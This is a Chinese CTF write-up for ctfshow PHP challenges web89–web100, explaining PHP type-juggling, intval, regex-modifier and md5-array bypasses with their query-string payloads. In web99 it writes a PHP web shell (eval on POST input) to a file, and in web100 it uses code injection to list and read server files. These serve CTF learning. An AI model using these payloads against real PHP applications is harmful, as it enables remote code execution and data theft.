web89
首先,它使用preg_match函数检查"num"参数是否包含数字。如果包含数字,则会输出"no no no!"并终止脚本的执行。接下来,它使用intval函数将"num"参数转换为整数。如果转换成功,则会输出$flag变量的值。
这里使用数组绕过 ?num[]=1
web90
题目要求num强类型比较不等于4476,但经过intval后=4476
因此可以通过八进制或十六进制绕过
?num=4476a / ?num=0x117c
web91
正则匹配
i
不区分(ignore)大小写
m
多(more)行匹配
若存在换行\n并且有开始^或结束$符的情况下,
将以换行为分隔符,逐行进行匹配
$str = "abc\nabc";
$preg = "/^abc$/m";
preg_match($preg, $str,$matchs);
这样其实是符合正则表达式的,因为匹配的时候 先是匹配换行符前面的,接着匹配换行符后面的,两个都是abc所以可以通过正则表达式。
s
特殊字符圆点 . 中包含换行符
默认的圆点 . 是匹配除换行符 \n 之外的任何单字符,加上s之后, .包含换行符
$str = "abggab\nacbs";
$preg = "/b./s";
preg_match_all($preg, $str,$matchs);
这样匹配到的有三个 bg b\n bs
g
全局匹配,查找所有匹配项
A
强制从目标字符串开头匹配;
D
如果使用$限制结尾字符,则不允许结尾有换行;
e
配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;
第一个if语句表示匹配$a开头和php结尾,^表示开头,$表示结尾,i不区分大小写,m表示多行匹配
第二个if语句表示匹配$a开头和php结尾,如果开头是php则输出hacker,不满足则输出flag
?cmd=a%0aphp %0a是换行符
web92
弱绕过
4476a无法绕过if($num==4476),可以使用八进制、十六进制以及科学计数法
num=010574
num=0x117c
num=4476e1
web93
八进制绕过
num=010574
web94
if(preg_match("/[a-z]/i", $num))
过滤了字符
strpos()绕过可在前边多加一个字符
num= 010574
num= 4476.0
num=%0a010574
num=+4476
web95
?num=+010574
web96
?u=./flag.php
web97
强比较
md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以是强相等的
a[]=1&b[]=2
web98
三目运算符
$_GET?$_GET=&$_POST:'flag';
如果get传了一个值,那么就可以用post覆盖get中的值。
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
如果有通过GET方法传参'HTTP_FLAG=flag'
,就highlight_file($flag)
,否则highlight_file(__FILE__)
?a=a
HTTP_FLAG=flag //POST
web99
<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>
php弱类型比较
设置$allow数组,向数组里添加rand产生的随机数,范围从1到36…877。
n=1.php
content=<?php eval($_POST[1]);?> //POST
web100
is_numeric()函数用来检测变量是否为数字或数字字符串。
因此v0为数字,v2中不能有;,v3中要有;
php运算优先级 &&> = > and,所以保证v0=true就可以了v1=1&v2=print_r(scandir('.'))&v3=;
v1=1&v2=print_r(file('ctfshow.php'))&v3=;